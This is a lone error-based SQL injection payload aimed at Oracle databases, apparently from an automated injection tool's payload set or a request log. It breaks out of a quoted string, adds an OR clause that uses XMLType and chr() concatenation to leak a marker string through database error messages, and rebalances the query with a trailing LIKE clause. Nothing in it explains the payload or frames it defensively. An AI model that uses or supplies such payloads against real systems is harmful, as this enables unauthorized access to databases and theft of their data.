-6523" or 4144  =    (  select upper  (  xmltype  (  chr  (  60  )  ||chr  (  58  )  ||chr  (  113  )  ||chr  (  113  )  ||chr  (  112  )  ||chr  (  106  )  ||chr  (  113  )  ||  (  select   (  case when   (  4144  =  4144  )   then 1 else 0 end  )   from dual  )  ||chr  (  113  )  ||chr  (  122  )  ||chr  (  118  )  ||chr  (  122  )  ||chr  (  113  )  ||chr  (  62   )    )     )   from dual  )   and "bwrb" like "bwrb